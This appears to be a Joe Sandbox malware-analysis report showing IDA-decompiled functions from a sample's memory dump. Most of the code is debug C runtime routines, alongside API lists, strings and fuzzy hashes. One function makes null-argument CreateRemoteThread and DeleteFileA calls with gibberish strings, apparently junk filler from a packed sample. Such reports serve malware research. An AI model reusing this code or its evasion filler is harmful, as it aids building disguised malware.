											__eax =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __eax;
											 *(__ebp - 0x10) = __eax;
											goto L27;
										case 0xd:
											L27:
											goto L214;
									}
								} else {
									_t571 = 0;
									if(0 == 0) {
										 *(_t596 - 0x4dc) = 0;
									} else {
										 *(_t596 - 0x4dc) = 1;
									}
									 *(_t596 - 0x46c) =  *(_t596 - 0x4dc);
									if( *(_t596 - 0x46c) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t502 = L0041E220();
										_t599 = _t599 + 0x14;
										if(_t502 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t596 - 0x46c) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00422D10(_t543))) = 0x16;
										E00422AA0(_t534, _t543, _t594, _t595, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t596 - 0x4c8) = 0xffffffff;
										E0041ACC0(_t596 - 0x40);
										_t487 =  *(_t596 - 0x4c8);
										L225:
										return E0042BB60(_t487, _t534,  *(_t596 - 0x48) ^ _t596, _t571, _t594, _t595);
									}
								}
							}
							L215:
							if( *(_t596 - 0x45c) == 0) {
								L218:
								 *(_t596 - 0x4f8) = 1;
								L219:
								_t571 =  *(_t596 - 0x4f8);
								 *(_t596 - 0x4bc) =  *(_t596 - 0x4f8);
								if( *(_t596 - 0x4bc) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t492 = L0041E220();
									_t599 = _t599 + 0x14;
									if(_t492 == 1) {
										asm("int3");
									}
								}
								if( *(_t596 - 0x4bc) != 0) {
									 *(_t596 - 0x4d4) =  *(_t596 - 0x44c);
									E0041ACC0(_t596 - 0x40);
									_t487 =  *(_t596 - 0x4d4);
								} else {
									 *((intOrPtr*)(L00422D10(_t535))) = 0x16;
									E00422AA0(_t534, _t535, _t594, _t595, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t596 - 0x4d0) = 0xffffffff;
									E0041ACC0(_t596 - 0x40);
									_t487 =  *(_t596 - 0x4d0);
								}
								goto L225;
							}
							L216:
							if( *(_t596 - 0x45c) == 7) {
								goto L218;
							}
							L217:
							 *(_t596 - 0x4f8) = 0;
							goto L219;
						}
					}
					L76:
					_t567 =  *0x440f80; // 0x404478
					 *(_t596 - 4) = _t567;
					_t484 = E0041DCC0( *(_t596 - 4));
					_t599 = _t599 + 4;
					 *(_t596 - 0x24) = _t484;
					goto L80;
				}
			}

0x0043bdc4
0x0043bdc4
0x0043bdc4
0x0043bdc4
0x0043bdc4
0x0043bdc4
0x0043bdc8
0x0043bdcd
0x0043bdd0
0x0043bddd
0x00000000
0x00000000
0x0043bddf
0x0043bddf
0x0043bde9
0x0043be08
0x0043be0e
0x0043be36
0x0043be3d
0x0043be43
0x0043be46
0x0043be49
0x0043be4f
0x0043be52
0x0043be10
0x0043be10
0x0043be16
0x0043be19
0x0043be1c
0x0043be22
0x0043be25
0x0043be28
0x0043be2a
0x0043be2d
0x0043be2d
0x0043be55
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x0043c55a
0x0043c560
0x0043c56a
0x0043c584
0x0043c59e
0x0043c5a5
0x0043c5a9
0x0043c5a9
0x0043c586
0x0043c58b
0x0043c58f
0x0043c58f
0x0043c56c
0x0043c571
0x0043c575
0x0043c575
0x0043c56a
0x0043c5b9
0x0043c5c5
0x0043c5db
0x0043c5e0
0x0043c5e0
0x0043c5f6
0x0043c5fb
0x0043c604
0x0043c60c
0x0043c622
0x0043c627
0x0043c627
0x0043c60c
0x0043c62e
0x0043c6e8
0x0043c6fb
0x0043c700
0x00000000
0x0043c634
0x0043c634
0x0043c638
0x00000000
0x00000000
0x0043c63e
0x0043c641
0x0043c64a
0x0043c650
0x0043c650
0x0043c65f
0x0043c667
0x00000000
0x00000000
0x0043c669
0x0043c66c
0x0043c691
0x0043c696
0x0043c699
0x0043c6a6
0x0043c6b4
0x0043c6c7
0x0043c6cc
0x0043c6db
0x00000000
0x0043c6db
0x0043c6a8
0x0043c6a8
0x00000000
0x0043c6a8
0x0043c6e6
0x0043c703
0x0043c70a
0x0043c712
0x0043c728
0x0043c72d
0x0043c72d
0x0043c712
0x0043c70a
0x0043c730
0x0043c734
0x0043c73c
0x0043c741
0x0043c744
0x0043c744
0x0043c74b
0x0043c74b
0x0043b8cb
0x0043b8d2
0x0043b8df
0x0043b8e4
0x00000000
0x0043b8f7
0x0043b901
0x0043b928
0x0043b90f
0x0043b920
0x0043b920
0x0043b901
0x0043b932
0x0043b938
0x0043b944
0x0043b947
0x0043b955
0x0043b958
0x0043b965
0x0043ba0a
0x0043ba10
0x0043ba1d
0x00000000
0x00000000
0x0043ba23
0x0043ba29
0x00000000
0x0043ba30
0x0043ba30
0x0043ba4a
0x0043ba4f
0x00000000
0x00000000
0x0043ba57
0x0043ba57
0x0043ba5e
0x0043ba61
0x0043ba64
0x0043ba67
0x0043ba6a
0x0043ba6d
0x0043ba70
0x0043ba77
0x0043ba7e
0x00000000
0x00000000
0x0043ba8a
0x0043ba8a
0x0043ba91
0x0043ba9d
0x0043baa0
0x0043baa6
0x0043baad
0x00000000
0x00000000
0x0043baaf
0x0043bab5
0x0043bab5
0x0043babc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bb00
0x0043bb00
0x0043bb07
0x0043bb0a
0x0043bb34
0x0043bb37
0x0043bb37
0x0043bb41
0x0043bb41
0x0043bb45
0x0043bb0c
0x0043bb0c
0x0043bb18
0x0043bb1b
0x0043bb1f
0x0043bb21
0x0043bb24
0x0043bb24
0x0043bb27
0x0043bb2a
0x0043bb2d
0x0043bb2f
0x0043bb2f
0x0043bb32
0x0043bb48
0x00000000
0x00000000
0x0043bb4d
0x0043bb4d
0x00000000
0x00000000
0x0043bb59
0x0043bb59
0x0043bb60
0x0043bb63
0x0043bb83
0x0043bb86
0x0043bb86
0x0043bb90
0x0043bb90
0x0043bb94
0x0043bb65
0x0043bb65
0x0043bb71
0x0043bb74
0x0043bb78
0x0043bb7a
0x0043bb7a
0x0043bb81
0x00000000
0x00000000
0x0043bb9c
0x0043bb9c
0x0043bba3
0x0043bbaf
0x0043bbb2
0x0043bbb8
0x0043bbbf
0x0043bcd2
0x00000000
0x0043bcd2
0x0043bbc5
0x0043bbcb
0x0043bbcb
0x0043bbd2
0x00000000
0x0043bc09
0x0043bc09
0x0043bc0c
0x0043bc0f
0x0043bc12
0x0043bc39
0x0043bc39
0x0043bc3c
0x0043bc3f
0x0043bc42
0x0043bc66
0x0043bc66
0x0043bc69
0x0043bc6c
0x0043bc6f
0x0043bca8
0x0043bcb9
0x00000000
0x0043bcb9
0x0043bc71
0x0043bc71
0x0043bc74
0x0043bc77
0x0043bc7a
0x00000000
0x00000000
0x0043bc7c
0x0043bc7c
0x0043bc7f
0x0043bc82
0x0043bc85
0x00000000
0x00000000
0x0043bc87
0x0043bc87
0x0043bc8a
0x0043bc8d
0x0043bc90
0x00000000
0x00000000
0x0043bc92
0x0043bc92
0x0043bc95
0x0043bc98
0x0043bc9b
0x00000000
0x00000000
0x0043bc9d
0x0043bc9d
0x0043bca0
0x0043bca3
0x0043bca6
0x0043bcaa
0x00000000
0x0043bcaa
0x00000000
0x0043bca6
0x0043bc44
0x0043bc44
0x0043bc47
0x0043bc4b
0x0043bc4e
0x00000000
0x0043bc50
0x0043bc53
0x0043bc56
0x0043bc5c
0x0043bc61
0x00000000
0x0043bc61
0x0043bc4e
0x0043bc14
0x0043bc14
0x0043bc17
0x0043bc1b
0x0043bc1e
0x00000000
0x0043bc20
0x0043bc23
0x0043bc26
0x0043bc2c
0x0043bc31
0x00000000
0x0043bc31
0x00000000
0x0043bcbb
0x0043bcbb
0x0043bcbe
0x0043bcc1
0x00000000
0x00000000
0x0043bbd9
0x0043bbd9
0x0043bbdc
0x0043bbdf
0x0043bbe2
0x0043bbfb
0x0043bbfe
0x0043bbfe
0x0043bc01
0x0043bbe4
0x0043bbe4
0x0043bbe7
0x0043bbea
0x0043bbf0
0x0043bbf6
0x0043bbf6
0x00000000
0x00000000
0x0043bcc6
0x0043bcc6
0x0043bcc9
0x0043bcc9
0x0043bccf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bcd7
0x0043bcd7
0x0043bcde
0x0043bce4
0x0043bcea
0x0043bced
0x0043bcf3
0x0043bcfa
0x00000000
0x0043c550
0x0043c550
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x0043c507
0x0043c50d
0x0043c510
0x0043c513
0x0043c516
0x0043c519
0x0043c51f
0x0043c51f
0x0043c51f
0x0043c527
0x0043c52b
0x00000000
0x00000000
0x0043c52d
0x0043c52d
0x0043c530
0x0043c533
0x0043c533
0x0043c538
0x0043c53b
0x0043c53e
0x0043c541
0x0043c544
0x0043c547
0x0043c54a
0x0043c54a
0x0043c54d
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x0043c550
0x0043bd00
0x0043bd06
0x0043bd06
0x0043bd0d
0x00000000
0x0043c091
0x0043c091
0x0043c09f
0x0043c09f
0x0043c0a2
0x00000000
0x00000000
0x0043bd14
0x0043bd17
0x0043bd17
0x0043bd1d
0x0043bd1f
0x0043bd22
0x0043bd22
0x0043bd25
0x0043bd25
0x00000000
0x00000000
0x0043be5a
0x0043be5d
0x0043be5d
0x0043be62
0x0043be64
0x0043be67
0x0043be67
0x0043be6a
0x0043be6a
0x00000000
0x00000000
0x0043c25d
0x0043c25d
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c0a9
0x0043c0ac
0x0043c0af
0x0043c0b2
0x0043c0b8
0x0043c0bb
0x0043c0c2
0x0043c0c6
0x0043c0d1
0x0043c0d1
0x0043c0d5
0x0043c0ec
0x0043c0ec
0x0043c0f3
0x0043c0f5
0x0043c0f5
0x0043c0fc
0x0043c0fc
0x0043c103
0x0043c111
0x0043c114
0x0043c123
0x0043c126
0x0043c12a
0x0043c13f
0x0043c12c
0x0043c12c
0x0043c12f
0x0043c135
0x0043c13a
0x0043c13a
0x0043c12a
0x0043c149
0x0043c14c
0x0043c14f
0x0043c152
0x0043c155
0x0043c158
0x0043c15e
0x0043c164
0x0043c16c
0x0043c16d
0x0043c170
0x0043c171
0x0043c174
0x0043c175
0x0043c17c
0x0043c17d
0x0043c180
0x0043c181
0x0043c184
0x0043c185
0x0043c18b
0x0043c18c
0x0043c19b
0x0043c19d
0x0043c1a3
0x0043c1a3
0x0043c1a8
0x0043c1aa
0x0043c1ae
0x0043c1b0
0x0043c1b8
0x0043c1b9
0x0043c1bc
0x0043c1bd
0x0043c1cc
0x0043c1ce
0x0043c1ce
0x0043c1ae
0x0043c1d1
0x0043c1d8
0x0043c1db
0x0043c1e0
0x0043c1e0
0x0043c1e6
0x0043c1e8
0x0043c1f0
0x0043c1f1
0x0043c1f4
0x0043c1f5
0x0043c203
0x0043c205
0x0043c205
0x0043c1e6
0x0043c208
0x0043c20b
0x0043c20e
0x0043c211
0x0043c216
0x0043c21b
0x0043c21e
0x0043c221
0x0043c221
0x0043c224
0x0043c224
0x0043c227
0x0043c233
0x00000000
0x0043c233
0x0043c0d7
0x0043c0d7
0x0043c0de
0x0043c0e1
0x00000000
0x00000000
0x0043c0e3
0x0043c0e3
0x00000000
0x0043c0e3
0x0043c0c8
0x0043c0c8
0x00000000
0x00000000
0x0043bd28
0x0043bd28
0x0043bd33
0x0043bd3b
0x0043bd42
0x0043bd45
0x0043bd45
0x0043bd48
0x0043bda8
0x0043bd4a
0x0043bd51
0x0043bd57
0x0043bd5d
0x0043bd64
0x0043bd67
0x0043bd6d
0x0043bd75
0x0043bd77
0x0043bd7e
0x0043bd85
0x0043bd8c
0x0043bd94
0x0043bd96
0x0043bd98
0x0043bd98
0x0043bd9f
0x0043bdaf
0x0043bdb5
0x0043bdb8
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x00000000
0x00000000
0x0043c23b
0x0043c23e
0x0043c241
0x0043c244
0x00000000
0x00000000
0x0043bf9a
0x0043bf9a
0x0043bfa6
0x0043bfac
0x0043bfb1
0x0043bfb3
0x0043c05d
0x0043c05d
0x0043c060
0x0043c060
0x0043c063
0x0043c077
0x0043c07d
0x0043c083
0x0043c065
0x0043c065
0x0043c06b
0x0043c072
0x0043c072
0x0043c085
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x0043c550
0x0043bfb9
0x0043bfb9
0x0043bfb9
0x0043bfbb
0x0043bfc9
0x0043bfbd
0x0043bfbd
0x0043bfbd
0x0043bfd3
0x0043bfd9
0x0043bfdf
0x0043bfe6
0x0043bfe8
0x0043bfed
0x0043bfef
0x0043bff4
0x0043bff9
0x0043bffb
0x0043c000
0x0043c003
0x0043c006
0x0043c008
0x0043c008
0x0043c006
0x0043c009
0x0043c010
0x0043c058
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x0043c012
0x0043c012
0x0043c017
0x0043c033
0x0043c03b
0x0043c045
0x0043c048
0x0043c04d
0x00000000
0x0043c04d
0x00000000
0x0043c2a4
0x0043c2a4
0x0043c2ae
0x0043c2ae
0x0043c2b4
0x0043c2b6
0x0043c2b9
0x0043c2b9
0x0043c2bf
0x0043c2bf
0x00000000
0x00000000
0x0043c256
0x0043c256
0x00000000
0x00000000
0x0043be6d
0x0043be6d
0x0043be71
0x0043be7f
0x0043be82
0x0043be73
0x0043be73
0x0043be73
0x0043be88
0x0043be8e
0x0043be94
0x0043bea0
0x0043bea6
0x0043bea6
0x0043bea9
0x0043bf31
0x0043bf31
0x0043bf35
0x0043bf37
0x0043bf3d
0x0043bf3d
0x0043bf40
0x0043bf47
0x0043bf4a
0x0043bf50
0x0043bf50
0x0043bf50
0x0043bf56
0x0043bf5c
0x0043bf5f
0x0043bf65
0x0043bf67
0x00000000
0x00000000
0x0043bf69
0x0043bf69
0x0043bf6f
0x0043bf72
0x0043bf74
0x00000000
0x00000000
0x0043bf76
0x0043bf7c
0x0043bf7f
0x0043bf7f
0x0043bf87
0x0043bf87
0x0043bf8d
0x0043bf8d
0x0043bf92
0x00000000
0x0043beaf
0x0043beaf
0x0043beaf
0x0043beb3
0x0043beb5
0x0043beba
0x0043beba
0x0043bebd
0x0043bec0
0x0043bec6
0x0043bed8
0x0043bed8
0x0043bed8
0x0043bedb
0x0043bee1
0x00000000
0x00000000
0x0043bee3
0x0043bee3
0x0043bee9
0x0043beec
0x0043beee
0x00000000
0x00000000
0x0043bef0
0x0043bef0
0x0043bef9
0x0043beff
0x0043bf03
0x0043bf0b
0x0043bf0d
0x0043bf0f
0x0043bf15
0x0043bf15
0x0043bf18
0x0043bf18
0x0043bf24
0x0043bf27
0x0043becf
0x0043bed2
0x0043bed2
0x0043bed5
0x0043bed5
0x0043bf2f
0x0043bf95
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x0043c550
0x00000000
0x0043c24d
0x0043c24d
0x00000000
0x00000000
0x0043c269
0x0043c269
0x0043c273
0x0043c273
0x0043c27d
0x0043c27d
0x0043c283
0x0043c285
0x0043c28a
0x0043c294
0x0043c294
0x0043c297
0x0043c29b
0x0043c29b
0x0043c2c2
0x0043c2c5
0x0043c2c5
0x0043c2ca
0x0043c2ec
0x0043c2ec
0x0043c2f2
0x0043c314
0x0043c314
0x0043c317
0x0043c35e
0x0043c35e
0x0043c361
0x0043c37e
0x0043c382
0x0043c38a
0x0043c38a
0x0043c38c
0x0043c392
0x0043c363
0x0043c363
0x0043c367
0x0043c36f
0x0043c370
0x0043c376
0x0043c376
0x0043c319
0x0043c31c
0x0043c31c
0x0043c31f
0x0043c33d
0x0043c349
0x0043c34c
0x0043c34d
0x0043c353
0x0043c321
0x0043c321
0x0043c325
0x0043c32d
0x0043c32e
0x0043c32f
0x0043c335
0x0043c335
0x0043c359
0x0043c2f4
0x0043c2f4
0x0043c300
0x0043c306
0x0043c306
0x0043c2cc
0x0043c2cc
0x0043c2d8
0x0043c2de
0x0043c2de
0x0043c39b
0x0043c39b
0x0043c39e
0x0043c3e0
0x0043c3e0
0x0043c3e6
0x0043c3ec
0x0043c3f2
0x00000000
0x0043c3a0
0x0043c3a0
0x0043c3a0
0x0043c3a7
0x00000000
0x00000000
0x0043c3a9
0x0043c3a9
0x0043c3b4
0x0043c3ba
0x0043c3bc
0x0043c3c2
0x0043c3c5
0x0043c3c7
0x0043c3cd
0x0043c3d6
0x0043c3db
0x0043c3f8
0x0043c3fb
0x0043c3fb
0x0043c400
0x0043c405
0x0043c405
0x0043c40b
0x0043c40d
0x0043c413
0x0043c419
0x0043c419
0x0043c422
0x0043c422
0x0043c40b
0x0043c428
0x0043c42c
0x0043c43a
0x0043c43d
0x0043c440
0x0043c447
0x0043c449
0x0043c449
0x0043c42e
0x0043c42e
0x0043c42e
0x0043c456
0x0043c456
0x0043c45c
0x0043c45e
0x0043c45e
0x0043c465
0x0043c46b
0x0043c46e
0x0043c46e
0x0043c46e
0x0043c474
0x0043c477
0x0043c47a
0x0043c47c
0x00000000
0x00000000
0x0043c47e
0x0043c484
0x0043c484
0x0043c48a
0x00000000
0x00000000
0x0043c48c
0x0043c48c
0x0043c48f
0x0043c492
0x0043c499
0x0043c4a0
0x0043c4a8
0x0043c4ae
0x0043c4b1
0x0043c4b4
0x0043c4bb
0x0043c4c7
0x0043c4cd
0x0043c4d3
0x0043c4da
0x0043c4dc
0x0043c4e2
0x0043c4e2
0x0043c4e8
0x0043c4e8
0x0043c4ee
0x0043c4f7
0x0043c4fc
0x0043c4ff
0x0043c46e
0x0043c46e
0x0043c474
0x0043c477
0x0043c47a
0x0043c47c
0x00000000
0x00000000
0x00000000
0x0043c47c
0x0043c46e
0x0043c3ab
0x0043c3ab
0x0043c3b2
0x00000000
0x00000000
0x00000000
0x0043c3b2
0x00000000
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x00000000
0x00000000
0x0043bad9
0x0043bad9
0x0043badc
0x0043badf
0x00000000
0x00000000
0x0043bae4
0x0043bae7
0x0043baed
0x00000000
0x00000000
0x0043bace
0x0043bad1
0x0043bad4
0x00000000
0x00000000
0x0043bac3
0x0043bac6
0x0043bac9
0x00000000
0x00000000
0x0043baf2
0x0043baf2
0x0043baf5
0x0043baf5
0x0043baf8
0x00000000
0x00000000
0x0043bafb
0x00000000
0x00000000
0x0043b96b
0x0043b96b
0x0043b96d
0x0043b97b
0x0043b96f
0x0043b96f
0x0043b96f
0x0043b98b
0x0043b998
0x0043b99a
0x0043b99f
0x0043b9a1
0x0043b9a6
0x0043b9ab
0x0043b9ad
0x0043b9b2
0x0043b9b8
0x0043b9ba
0x0043b9ba
0x0043b9b8
0x0043b9bb
0x0043b9c2
0x00000000
0x0043b9c4
0x0043b9c9
0x0043b9e5
0x0043b9ed
0x0043b9fa
0x0043b9ff
0x0043c814
0x0043c821
0x0043c821
0x0043b9c2
0x0043b965
0x0043c750
0x0043c757
0x0043c76e
0x0043c76e
0x0043c778
0x0043c778
0x0043c77e
0x0043c78b
0x0043c78d
0x0043c792
0x0043c794
0x0043c799
0x0043c79e
0x0043c7a0
0x0043c7a5
0x0043c7ab
0x0043c7ad
0x0043c7ad
0x0043c7ab
0x0043c7b5
0x0043c800
0x0043c809
0x0043c80e
0x0043c7b7
0x0043c7bc
0x0043c7d8
0x0043c7e0
0x0043c7ed
0x0043c7f2
0x0043c7f2
0x00000000
0x0043c7b5
0x0043c759
0x0043c760
0x00000000
0x00000000
0x0043c762
0x0043c762
0x00000000
0x0043c762
0x0043c550
0x0043bdeb
0x0043bdeb
0x0043bdf1
0x0043bdf8
0x0043bdfd
0x0043be00
0x00000000
0x0043be00

APIs

_get_int_arg.LIBCMTD ref: 0043BDC8
_strlen.LIBCMT ref: 0043BDF8
_write_multi_char.LIBCMTD ref: 0043C5DB
_write_string.LIBCMTD ref: 0043C5F6
_write_multi_char.LIBCMTD ref: 0043C622
__mbtowc_l.LIBCMTD ref: 0043C691

Strings

xD@, xrefs: 0043BDEB
("Incorrect format specifier", 0), xrefs: 0043B99A, 0043B9E0
_woutput_s_l, xrefs: 0043B9DB
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043B9A6, 0043B9D6

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c$xD@
API String ID: 909868375-2094193020
Opcode ID: b00941b20bd59b814280b132e37efa23e2ac40820aad5b12af99e1606340485b
Instruction ID: 8eada96a0daa8b5cb4377587c1160edc963100f626ae26bb02b433032e1bf835
Opcode Fuzzy Hash: b00941b20bd59b814280b132e37efa23e2ac40820aad5b12af99e1606340485b
Instruction Fuzzy Hash: 52A16FF1D002189BDB24DF55CC85BAEB3B5EB48304F14919AE6097B282D7389E84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00419CF5, Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 39
filetimethreadCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E00419CF5(void* __eax, void* __edx) {
				void* _t19;

				asm("adc [eax], eax");
				 *((intOrPtr*)(_t19 + 0x73)) =  *((intOrPtr*)(_t19 + 0x73)) + __edx;
				SetSystemTimeAdjustment(0, 0);
				CreateRemoteThread(0, 0, 0, 0, 0, 0, 0);
				__imp__CreateActCtxW(_t19 - 0x1648);
				DeleteFileA("Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo");
				__imp__GetCalendarInfoA(0, 0, 0, "vihebihasucuxegod", 0, 0);
				InterlockedDecrement(_t19 - 0x1628);
				GetCommandLineW();
				TlsGetValue(0);
				TryEnterCriticalSection(_t19 - 0x1624);
				return 0;
			}

0x00419cfb
0x00419cfd
0x00419d04
0x00419d18
0x00419d25
0x00419d30
0x00419d45
0x00419d52
0x00419d58
0x00419d60
0x00419d6d
0x00419d76

APIs

SetSystemTimeAdjustment.KERNEL32 ref: 00419D04
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00419D18
CreateActCtxW.KERNEL32(?), ref: 00419D25
DeleteFileA.KERNEL32(Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo), ref: 00419D30
GetCalendarInfoA.KERNEL32(00000000,00000000,00000000,vihebihasucuxegod,00000000,00000000), ref: 00419D45
InterlockedDecrement.KERNEL32(?), ref: 00419D52
GetCommandLineW.KERNEL32 ref: 00419D58
TlsGetValue.KERNEL32(00000000), ref: 00419D60
TryEnterCriticalSection.KERNEL32(?), ref: 00419D6D

Strings

Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo, xrefs: 00419D2B
vihebihasucuxegod, xrefs: 00419D3A

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: Create$AdjustmentCalendarCommandCriticalDecrementDeleteEnterFileInfoInterlockedLineRemoteSectionSystemThreadTimeValue
String ID: Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo$vihebihasucuxegod
API String ID: 2597053956-1231097603
Opcode ID: 778ccddce6d80ebf428a3a2114098694b13ee476d875678dd32114e9b0909af6
Instruction ID: c3ab0cdaebc2716bf8f6124dab3ba94a85e8c3f330aa3f1e61336741c9c4d0c9
Opcode Fuzzy Hash: 778ccddce6d80ebf428a3a2114098694b13ee476d875678dd32114e9b0909af6
Instruction Fuzzy Hash: 0CF01231684285ABE7105BB0AE0EF8837A8AB04702F140062F386F54F0C6B594848B19

Uniqueness

Uniqueness Score: -1.00%

Function 0041CCDE, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 179COMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041CD5B
_CheckBytes.LIBCMTD ref: 0041CDF9
_CheckBytes.LIBCMTD ref: 0041CEA2

Strings

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041CD90
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041CE2E
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 0041CF41
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 0041CECC

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: BytesCheck
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 1653226792-1867057952
Opcode ID: 7ac275f8fe3b7ff41d231405028f99a4cf14a7b426d7d4c509037e328ca49cc4
Instruction ID: 168a3d30d17058938823694535975712f9a4e4bdae63004abecf5540cf023d51
Opcode Fuzzy Hash: 7ac275f8fe3b7ff41d231405028f99a4cf14a7b426d7d4c509037e328ca49cc4
Instruction Fuzzy Hash: D46110B5E402059BDB18CB84DCD5FBFB7B5AB48304F24811AE515AB3D1D278E882CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004376A4, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E004376A4(signed int __eax) {
				intOrPtr _t45;
				void* _t50;
				signed int _t54;
				void* _t60;
				signed int _t67;
				signed int _t69;
				signed int _t71;
				signed int _t73;
				signed int _t79;
				void* _t80;
				void* _t81;
				void* _t82;
				void* _t84;
				void* _t85;
				void* _t94;

				_t85 = _t84 + 0x10;
				 *(_t82 - 0xc) = __eax;
				if( *(_t82 - 0xc) != 0xffffffff) {
					_t71 =  *(_t82 - 0xc) + 1;
					 *(_t82 - 0xc) = _t71;
					__eflags =  *(_t82 + 0xc);
					if( *(_t82 + 0xc) == 0) {
						L27:
						__eflags =  *(_t82 + 8);
						if( *(_t82 + 8) != 0) {
							 *( *(_t82 + 8)) =  *(_t82 - 0xc);
						}
						_t45 =  *((intOrPtr*)(_t82 - 4));
						L30:
						return _t45;
					}
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					if( *(_t82 - 0xc) <=  *(_t82 + 0x10)) {
						L26:
						_t73 =  *(_t82 + 0xc) +  *(_t82 - 0xc);
						__eflags = _t73;
						 *((char*)(_t73 - 1)) = 0;
						goto L27;
					}
					__eflags =  *((intOrPtr*)(_t82 + 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t82 + 0x18)) == 0xffffffff) {
						L25:
						 *(_t82 - 0xc) =  *(_t82 + 0x10);
						 *((intOrPtr*)(_t82 - 4)) = 0x50;
						goto L26;
					}
					 *( *(_t82 + 0xc)) = 0;
					__eflags =  *(_t82 + 0x10) - 0xffffffff;
					if( *(_t82 + 0x10) != 0xffffffff) {
						__eflags =  *(_t82 + 0x10) - 0x7fffffff;
						if( *(_t82 + 0x10) != 0x7fffffff) {
							__eflags =  *(_t82 + 0x10) - 1;
							if( *(_t82 + 0x10) > 1) {
								__eflags =  *0x440208 -  *(_t82 + 0x10) - 1; // 0xffffffff
								if(__eflags >= 0) {
